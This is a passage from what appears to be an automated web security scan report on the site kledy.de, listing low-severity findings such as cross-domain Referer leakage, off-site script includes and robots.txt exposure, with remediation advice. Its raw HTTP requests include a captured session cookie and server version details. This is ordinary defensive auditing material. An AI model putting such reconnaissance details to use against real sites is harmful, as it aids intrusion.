<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... </p> <form action="https://www.paypal.com/cgi-bin/webscr" method="post"> <input type="hidden" name="cmd" value="_s-xclick"> ...[SNIP]...
6. Cross-domain Referer leakagepreviousnext There are 5 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
http://digg.com/submit?phase=2&url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games&bodytext=El juego de navegador gratuito DarkOrbit te asegura horas y horas de diversi..n. Reg..strate ahora y haz frente a tus adversarios.<br />
http://digg.com/submit?phase=2&url=http%3A%2F%2Fes.bigpoint.com%2F&title=juegos online&bodytext=Juegos Online - Juegos de navegador gratis en Bigpoint.com Tus juegos en comunidad para juegos Online y juegos en Web. Juegos para jugar gratis con otros.<br />
http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos&bodytext=Gracias al software gratuito de servicios en l..nea como FotoInsight y Printing-1, todo el mundo puede crear f..cilmente un libro con las fotos de la boda, impreso y encuadernado como copia ..nica o en cualquier n..mero de copias. En cu..nto tiempo se puede dise..ar un libro de boda y que un libro de fotos de boda con elegante tapa de cuero est.. disponible por menos de 40 Euros, se muestra en el siguie
http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.magazineluiza.com.br%2Flinha_setores%2Flinha_setor.asp%3Flinha%3DMO%26Setor%3DGURO&title=Guarda-Roupas - Magazine Luiza&bodytext=Modelos e pre..os de guarda-roupas de v..rias medidas.
http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico&bodytext=Periodicos diarios de Mexico y sus principales ciudades
http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina&bodytext=Conoc.. nuestros bolsitos deluxe de formas sint..ticas, pregnantes, colores vivos y texturas marcadas. Formas, colores y texturas combinados entre s.. de una manera contrastante, llamativa que hace de cada pieza un objeto de uso y tambi..n de arte, una pieza vistosa y funcional.
http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com&bodytext=Periodicos de espana, todos los periodicos diarios de espana y la prensa escrita espanola
http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames&bodytext=Toma el tim..n de tu barco como intr..pido pirata y convi..rtete en el terror de los siete mares. Sum..rgete en el mundo de los piratas, juega ahora gratis.<br />
http://es.bigpoint.com/
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina
http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com
http://reddit.com/submit?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos
http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos
http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&t=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.mexicoperiodicos.com%2F&title=Prensa escrita de M..xico
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.peweb.com.ar&title=PE carteras de cuero - marroquiner..a Argentina
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.prensamundo.com%2Fp-periodicos-de-espana.htm&title=Peri..dicos de Espa..a en Prensa Mundo.com
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<a title="submit 'onlinegames' to Windows Live" href="https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames"><img src="http://www.kledy.es/modules/social_bookmark/images/windowslive.gif" border="0" alt="submit 'onlinegames' to Windows Live" /></a>
<a title="submit 'onlinegames' to squidoo" href="http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.seafight.es%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/squidoo.gif" border="0" alt="submit 'onlinegames' to squidoo" /></a>
<a title="submit 'onlinegames' to yahoo" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames"><img src="http://www.kledy.es/modules/social_bookmark/images/yahoomyweb.png" border="0" alt="submit 'onlinegames' to yahoo" /></a>
<a title="submit 'onlinegames' to google" href="http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.seafight.es%2F&title=onlinegames"><img src="http://www.kledy.es/modules/social_bookmark/images/googlebookmarks.gif" border="0" alt="submit 'onlinegames' to google" /> ...[SNIP]... <span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.seafight.es/+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es" target="_blank">Tweet This</a> ...[SNIP]... </a> 223 d..as hace
<a title="submit 'online browser games' to digg" href="http://digg.com/submit?phase=2&url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games&bodytext=El juego de navegador gratuito DarkOrbit te asegura horas y horas de diversi..n. Reg..strate ahora y haz frente a tus adversarios.<br />"><img src="http://www.kledy.es/modules/social_bookmark/images/digg.png" border="0" alt="submit 'online browser games' to digg" /></a>
<a title="submit 'online browser games' to reddit" href="http://reddit.com/submit?url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/reddit.gif" border="0" alt="submit 'online browser games' to reddit" /></a>
<a title="submit 'online browser games' to facebook" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fdarkorbit.es%2F&t=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/facebook.gif" border="0" alt="submit 'online browser games' to facebook" /></a>
<a title="submit 'online browser games' to technorati" href="http://www.technorati.com/faves?add=http%3A%2F%2Fdarkorbit.es%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/technorati.gif" border="0" alt="submit 'online browser games' to technorati" /></a>
<a title="submit 'online browser games' to slashdot" href="http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/slashdot.gif" border="0" alt="submit 'online browser games' to slashdot" /></a>
<a title="submit 'online browser games' to Stumbleupon" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/icon-stumbleupon.gif" border="0" alt="submit 'online browser games' to Stumbleupon" /></a>
<a title="submit 'online browser games' to Windows Live" href="https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/windowslive.gif" border="0" alt="submit 'online browser games' to Windows Live" /></a>
<a title="submit 'online browser games' to squidoo" href="http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fdarkorbit.es%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/squidoo.gif" border="0" alt="submit 'online browser games' to squidoo" /></a>
<a title="submit 'online browser games' to yahoo" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fdarkorbit.es%2F&title=online browser games"><img src="http://www.kledy.es/modules/social_bookmark/images/yahoomyweb.png" border="0" alt="submit 'online browser games' to yahoo" /></a>
<a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to del.icio.us" href="http://del.icio.us/post" onclick="window.open('http://del.icio.us/post?v=4&noui&jump=close&url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco%C2%A0minutos%C2%A0para+la+eternidad+%E2%80%93+un+libro+de+fotos+de+boda+en+pocos+pasos', '','toolbar=no,width=700,height=400'); return false;"><img src="http://www.kledy.es/modules/social_bookmark/images/delicious.png" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to del.icio.us" /></a>
<a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to digg" href="http://digg.com/submit?phase=2&url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos&bodytext=Gracias al software gratuito de servicios en l..nea como FotoInsight y Printing-1, todo el mundo puede crear f..cilmente un libro con las fotos de la boda, impreso y encuadernado como copia ..nica o en cualquier n..mero de copias. En cu..nto tiempo se puede dise..ar un libro de boda y que un libro de fotos de boda con elegante tapa de cuero est.. disponible por menos de 40 Euros, se muestra en el siguie"><img src="http://www.kledy.es/modules/social_bookmark/images/digg.png" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to digg" /></a>
<a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to reddit" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/reddit.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to reddit" /></a>
<a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to facebook" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&t=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/facebook.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to facebook" /></a>
<a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to technorati" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/technorati.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to technorati" /></a>
<a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to slashdot" href="http://slashdot.org/bookmark.pl?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/slashdot.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to slashdot" /></a>
<a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to Stumbleupon" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/icon-stumbleupon.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to Stumbleupon ...[SNIP]... </a>
<a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to Windows Live" href="https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/windowslive.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to Windows Live" /></a>
<a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to squidoo" href="http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/squidoo.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to squidoo" /></a>
<a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to yahoo" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/yahoomyweb.png" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to yahoo" /></a>
<a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to google" href="http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/googlebookmarks.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to google" /> ...[SNIP]... <span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.comunicado-prensa.com/comunicado-de-prensa/cinco%C2%A0minutos%C2%A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos/+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es" target="_blank">Tweet This</a> ...[SNIP]... <center> <script type="text/javascript" src="http://videos.video-loader.com/sp/10711909126097144647865.js"></script> ...[SNIP]... <img src="/iconpics/cart.png" align=top> <a href="http://shop.kledy.de" target="_blank">Compare Prices</a> ...[SNIP]... </a> <a href="http://www.thumbshots.com" target="_blank" title="Thumbnails Screenshots by Thumbshots">Thumbnail Screenshots by Thumbshots</a> ...[SNIP]... <br> <script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script> ...[SNIP]... </script> <script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script> ...[SNIP]...
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /bookmarks.php/ HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sat, 05 Feb 2011 23:32:59 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94655
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
GET /buttons.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:24 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55482
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
GET /groups.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:26 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 38173
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
GET /impressum.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:27 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 37681
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
GET /login.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sat, 05 Feb 2011 23:33:13 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31841
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
GET /topusers.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:34 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 49739
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: www.kledy.de
Response
HTTP/1.1 200 OK Date: Sat, 05 Feb 2011 23:02:29 GMT Server: Apache/2.2.10 (Linux/SUSE) Last-Modified: Tue, 28 Dec 2010 12:47:13 GMT ETag: "5694e-3dc-49877da02f640" Accept-Ranges: bytes Content-Length: 988 Connection: close Content-Type: text/plain; charset=UTF-8
The response contains the following Content-type statement:
Content-Type: text/html; charset=UTF-8
The response states that it contains HTML. However, it actually appears to contain plain text.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /checkfield.php HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:07:24 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 3 Connection: close Content-Type: text/html; charset=UTF-8